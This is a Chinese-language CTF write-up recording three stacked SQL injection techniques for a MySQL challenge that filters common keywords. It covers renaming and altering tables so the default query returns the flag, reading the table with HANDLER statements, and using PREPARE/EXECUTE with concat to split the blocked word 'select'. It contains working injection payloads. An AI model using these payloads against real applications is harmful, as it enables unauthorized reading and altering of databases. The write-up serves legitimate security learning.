很久之前做的题目了,现在拿到有点想不起来,记一下方法
其一:堆叠注入(rename+alter)
rename:修改表名
格式:rename tables 原表名 to 新表名;
alter:修改表名或字段;
格式:修改表名:alter tables 原表名 rename 新表名;
修改字段,如增删改:
增:alter table 表名 add 要增加的字段名 类型;删:alter table 表名 drop 要删除的字段名;
改:alter table 表名 change 原字段名 新字段名 类型;
这题首先过滤了select|update|delete|drop|insert|where
①1‘;show tables;#
②1‘;show columns from words;#
③1‘;show columns from 1919810931114514
;# 注:以纯数字为表名的,操作时要加反引号`
④1‘;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#
else:1‘;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
add id
varchar(100);#
构造后的结构:
解释:可以判断出words是默认查询的表,且inject的值是赋给了id,所以要将flag所在表名改为words,并且把flag字段改为id,或者增加id字段,最后构造一个万能密码
其二:handler查询语句
基本语法:
通过HANDLER table_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为table_name的句柄。
通过HANDLER table_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER table_name CLOSE来关闭打开的句柄。
前面探索表名、字段的过程就省略了
1‘;handler 1919810931114514
open;handler 1919810931114514
read first;handler 1919810931114514
close;#
适用:知道表,部分查询被过滤,可以直接用handler查看表的内容
其三:预编译
详情可以参考:https://www.cnblogs.com/micrari/p/7112781.html
这里记一下简单理解,所谓预编译语句就是将反复执行的SQL语句或者语句中相同的部分的值用占位符(?)替代,可以视为将sql语句模板化或者说参数化
方法:
PREPARE - 准备执行的声明。
EXECUTE - 执行由PREPARE语句定义的语句。
举个栗子:prepare ins from ‘insert into t select ?,?‘;execute ins;
具体:
1‘;sEt @sql = concat(‘sele‘,‘ct * from 1919810931114514
;‘);prEpare smt from @sql;execute smt;#
解释:set就不用解释了,@后面的字符串是自定义的前后一致即可,concat是拼接里面的字符串,如concat(‘str1‘,‘str2‘)结果就是str1str2,smt是自定义,前后一致即可